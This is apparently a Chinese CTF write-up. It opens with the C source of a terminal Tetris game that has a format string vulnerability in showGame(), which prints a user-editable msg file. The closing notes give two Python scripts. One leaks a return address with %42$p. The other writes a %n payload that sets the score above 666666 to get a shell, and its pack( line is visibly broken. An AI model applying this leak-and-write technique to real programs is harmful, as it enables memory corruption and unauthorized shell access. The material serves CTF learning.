/* 两边都没有越界则旋转方块方向 */
diret = (diret+1)%4;
}
/*
* 函数名:gameStop
* 函数功能:暂停游戏,等待用户再次启动游戏
* 参数:无
* 返回值:无
*/
void gameStop(void)
{
/* 创建一个暂停的是时钟 */
struct itimerval stop = {0}, older;
/* 设置新闹钟并存储旧闹钟 */
setitimer(ITIMER_REAL,&stop,&older);
/* 配置暂停后的界面 */
state = "\033[31m暂停中...\033[0m";
// 为了防止按下暂停键后方块下滑一格
// TaQini: 增加if(startY>5) 防止数组上溢
if(startY>5) startY--;
drawBlock(bl[type][diret]);
showGame();
cleanBlock(bl[type][diret]);
/* 等待用户按开始键或退出键 */
int key;
while (1)
{
key = fgetc(stdin);
/* 空格开始 */
if (key == ' ')
break;
/* q 退出 */
else if (key == 'q')
gameEnd();
}
/* 恢复闹钟和游戏 */
setitimer(ITIMER_REAL,&older,NULL);
state = "\033[32m游戏中...\033[0m";
}
/*
* 函数名:checkMove
* 函数功能:检查方块是否可移动,能移则移
* 参数:1.方块数组数据 2.方向标志位
* 返回值:可移动返回1,不能移动返回0
*/
int checkMove(char bl[NR][NR], int flag)
{
int m, n; // 用于标明可移动方向
int x, y; // 用于循环
switch (flag)
{
case RIGHT : n = 0; m = 1; break;
case LEFT : n = 0; m = -1; break;
case DOWN : n = 1; m = 0; break;
}
/* 全局检查 */
for (y = 0; y < NR; y++)
{
for (x = 0; x < NR; x++)
{
/* 只能判断到达了边界 */
if (bl[y][x] != 0 && gameArea[startY+y+n][startX+x+m] != 0)
{
return 0;
}
}
}
/* 出来说明没有到达边界 */
startY += n;
startX += m;
return 1;
}
/*
* 函数名:getInput
* 函数功能:获取用户输入
* 参数:无
* 返回值:无
*/
int getInput(void)
{
char key;
key = fgetc(stdin);
if (key == '\033' && fgetc(stdin) == '[') // 方向键
{
switch (fgetc(stdin))
{
case 'A': return CHANGE;
case 'B': return DOWN;
case 'C': return RIGHT;
case 'D': return LEFT;
}
}
else if (key == 'q') // 退出键
{
return EXIT;
}
else if (key == ' ') // 空格键-暂停游戏
{
return STOP;
}
else // 其它不相关的键
return UNKNOW;
}
/*
* 函数名:drawBlock
* 函数功能:填充方块数据
* 参数:方块数组数据
* 返回值:无
*/
void drawBlock(char block[NR][NR])
{
int x, y;
/* 画当前方块 */
for (y = 0; y < NR; y++)
{
for (x = 0; x < NR; x++)
{
if (block[y][x] != 0)
{
gameArea[startY+y][startX+x] = block[y][x];
}
}
}
/* 画提示的下一个方块 */
for (x = 0; x < 2; x++)
{
for (y = 0; y < NR; y++)
{
if (bl[nextType][0][x][y] != 0)
gameArea[3+x][2+y] = bl[nextType][0][x][y];
else
gameArea[3+x][2+y] = 0;
}
}
}
/*
* 函数名:cleanBlock
* 函数功能:清除方块数据
* 参数:方块数组数据
* 返回值:无
*/
void cleanBlock(char bl[NR][NR])
{
int x, y;
for (y = 0; y < NR; y++)
{
for (x = 0; x < NR; x++)
{
if (bl[y][x] != 0)
{
gameArea[startY+y][startX+x] = 0;
}
}
}
}
/*
* 函数名:showGame
* 函数功能:显示游戏
* 参数:无
* 返回值:无
*/
void showGame(void)
{
int i, j;
/* 定位到第一行第一列 */
fprintf(stdout,"\033[1;1H");
fflush(stdout);
/* 打印所有数据 */
for (i = 0; i < ROW; i++)
{
for (j = 0; j < COL; j++)
{
if (gameArea[i][j] == 0) // 空白区域
{
fprintf(stdout," ");
}
else if (gameArea[i][j] == 8) // 边界区域
{
fprintf(stdout,"\033[40m \033[0m");
}
else // 方块区域
{
fprintf(stdout,"\033[%dm \033[0m",gameArea[i][j]+40);
}
}
fputc('\n',stdout);
}
/* 打印提示信息 */
fprintf(stdout,"\033[2;3H\033[33m【下一个】\033[0m\n");
fprintf(stdout,"\033[2;15H当前级别:\033[36m%u\033[0m\n",level);
fprintf(stdout,"\033[3;15H当前分数:\033[32m%u\033[0m\n",score);
fprintf(stdout,"\033[4;15H最高记录:\033[35m%u\033[0m\n",maxScore);
fprintf(stdout,"\033[5;15H当前状态:%s\n",state);
/* 实时显示留言 */
fmsg = fopen("./msg","r+");
if (NULL == fmsg) exit(0);
char message[0x100] = {0};
fread(message,0x80,1,fmsg);
fprintf(stdout,"\033[22;1H留言:");
fprintf(stdout,message);
}
/*
* 函数名:gameEnd
* 函数功能:处理游戏结束的设置
* 参数:无
* 返回值:无
*/
void gameEnd(void)
{
/* 配置游戏结束后的界面 */
state = "\033[31m游戏结束!!\033[0m";
drawBlock(bl[type][diret]);
showGame();
/* 恢复终端设置 */
system("stty icanon"); // 恢复缓冲
system("stty echo"); // 恢复回显
fprintf(stdout,"\033[?25h"); // 恢复鼠标显示
/* 尾部处理 */
fprintf(stdout,"\033[200;1H"); // 定位光标到最后一行
fclose(fp); // 关闭文件
exit(0); // 退出程序
}
在showGame()中存在格式化字符串漏洞
而该函数会被循环调用,意味着我们能够多次利用该漏洞
msg文件是可以被修改的,recorde(分数)不可以
分数要大于666666才能获取shell
分数的地址偏移为0x53AC
首先我们在showGame()函数中泄露程序返回地址(官方WP是%73$p,偏移是0x1180,虽然我也不知道这是什么地方)
#msg.py
f = open("/home/ctf/msg", "w")
payload = "%42$p" #这是showGame()的返回地址
f.write(payload)
f.close()
然后利用下面的脚本修改score(看了官方的WP)
#record.py
#!/usr/bin/python
from struct import pack
from sys import argv
start = eval(argv[1])
score = start-0x16D8+0x53ac
# hex(666666) = 0xa2c2a
payload = "%20c%8$n" + pack(', score+2)
print hex(score)
f = open('/home/ctf/msg','w')
f.write(payload)
f.close()
把上面两个python文件上传到/tmp下
然后先运行msg.py,再运行els
把泄露的地址作为第一个参数运行record.py
然后玩游戏消了一行即可退出
然后重开游戏就有shell了